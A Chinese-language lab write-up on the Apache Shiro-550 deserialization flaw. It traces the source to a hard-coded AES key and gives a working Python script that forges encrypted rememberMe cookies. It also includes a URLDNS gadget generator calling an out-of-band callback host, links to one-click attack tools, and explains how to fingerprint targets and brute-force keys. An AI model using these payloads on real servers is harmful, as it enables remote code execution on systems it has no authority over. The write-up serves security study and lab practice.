shiro550
shiro550漏洞原因:固定key加密
环境搭建
漏洞影响版本:Shiro <= 1.2.4
我这里tomcat用的8.5.81,其实版本是8都行,官网现在是下不到了,只能用镜像站下载
然后直接用p神的项目,比较省事:JavaThings/shirodemo at master · phith0n/JavaThings · GitHub
打开这个项目,然后去设置配置tomcat

如果自己配置还需要加个这个配置,选择展开型

还有一个运行配置,首先要部署工件,就是上面的选一个

这里注意了,工件这里如果是shirodemo.war的话,这里就是shirodemo_war,如果是自定义名称,那就要改成相应的
然后运行login.jsp

出现这个就部署成功了,然后默认账号密码在shiro.ini里面
本地端口抓包可以直接用bp内置浏览器,或者用ipv4代替localhost
shiro550分析
问题出现在remember me这里
勾选之后
Set-Cookie有个字段值为rememberMe=deleteMe,还有一大串cookie值

之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。
Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
分析加密过程
idea全局搜索cookie,这里一定要把源码下完
找到一个类跟这个有关CookieRememberMeManager.java

找到这个getRememberedSerializedIdentity
方法,看名称就知道是获取序列化数据的方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
|
这里是base64解密了,我们查找谁调用了这个方法

找到这个方法getRememberedPrincipals
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
|
接着跟进convertBytesToPrincipals
1
2
3
4
5
6
|
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
|
先进行一个解密,然后反序列化,我们看看反序列化怎么实现的

最后确实是到readObject,这里想着可能可以打CC链之类的反序列化
接下来看一下解密
1
2
3
4
5
6
7
8
9
|
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
|
跟进decrypt,看到一个接口
1
|
ByteSource decrypt(byte[] encrypted, byte[] decryptionKey) throws CryptoException;
|
继续跟找到接口的实现就可以看到解密逻辑

可以看出来是aes解密了,如果我们知道key就能够构造反序列化
回到刚才的地方看看从哪里获取到key
1
2
3
|
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
|
发现是个常量
1
|
private byte[] decryptionCipherKey;
|
查找用法

找到setDecryptionCipherKey
方法用来写入这个值
然后查找用法
1
2
3
4
5
6
|
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
|
继续找
1
2
3
4
5
|
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
|
发现它包含一个参数,跟进去看看
1
|
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
|
固定的key
到这里我们就可以考虑构造payload来反序列化rce了,这里我们可以看到shiro内置了cc3.2.1刚好就是我们大部分cc链跟过的版本
漏洞利用
这里我们可以下载一个插件Maven Helper
,可以查看包的信息
这里由于是copy的p神的项目,cc的包是compile,正常来说下载的shiro,这里的cc是没有compile的,正常打cc是打不通的

所以我们注意到,shiro-core下面内置cb这个包,前面学过cb链的打法,我们可以尝试打cb链
这里我们先测试能不能成功反序列化,先打URLDNS测试
首先得准备一个AES加密脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename, 'rb') as file:
return file.read()
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(data):
data = base64.b64decode(data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = data[:16]
decryptor = AES.new(base64.b64decode(key), mode, iv)
decrypted_data = unpad(decryptor.decrypt(data[16:]))
return decrypted_data
if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))
|
URLDNS
直接掏出之前写的urldns,把序列化生成的ser.bin文件进行aes加密
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
package Serialize;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.VarHandle;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> map = new HashMap<URL,Integer>();
//这里不要发起请求
URL url = new URL("http://va97ckrgw5t6wvrdtjbf0gl5cwin6du2.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,114514);//这里测试一下设置值
map.put(url,1);
hashcodefile.set(url,-1);//这里把hashCode改为-1
//通过反射 改变对象已有的属性
serialize(map);
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
}
|
运行完aes脚本,把生成的cookie填过来,并且把jsessionid去掉,因为有这个id的话shiro就会忽略后面remeberme的内容

然后就收到了

CC11链
直接掏出之前的exp,可以看到成功弹计算器

CB链
这里我们之前的CB链跟的版本是1.9.2,而shiro内置版本是1.8.3
服务端会显示报错:
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID
值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID
不同,则反序列化就会异常退出,避免后续的未知隐患。
服务端报错:
Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]
简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator
类,从包名即可看出,这个类是来自于commons-collections。
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。
具体修改过程参考:使用自定义ClassLoader解决反序列化serialVesionUID不一致问题 | 回忆飘如雪
这里就不演示了(,本地改个xml的事情
一把梭工具
GitHub - SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用,包含(回显执行命令/注入内存马)修复原版中NoCC的问题 https://github.com/j1anFen/shiro_attack
指纹识别
在利用 shiro 漏洞时需要判断应用是否用到了 shiro。在请求包的 Cookie 中为 rememberMe
字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe
字段,说明目标有使用 Shiro 框架,可以进一步测试。
AES密钥判断
前面说到 Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。
那么如何判断密钥是否正确呢?文章 一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe
字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe
字段。
因此我们需要构造 payload 排除类型转换错误,进而准确判断密钥。
shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
总之,一把梭工具基本能梭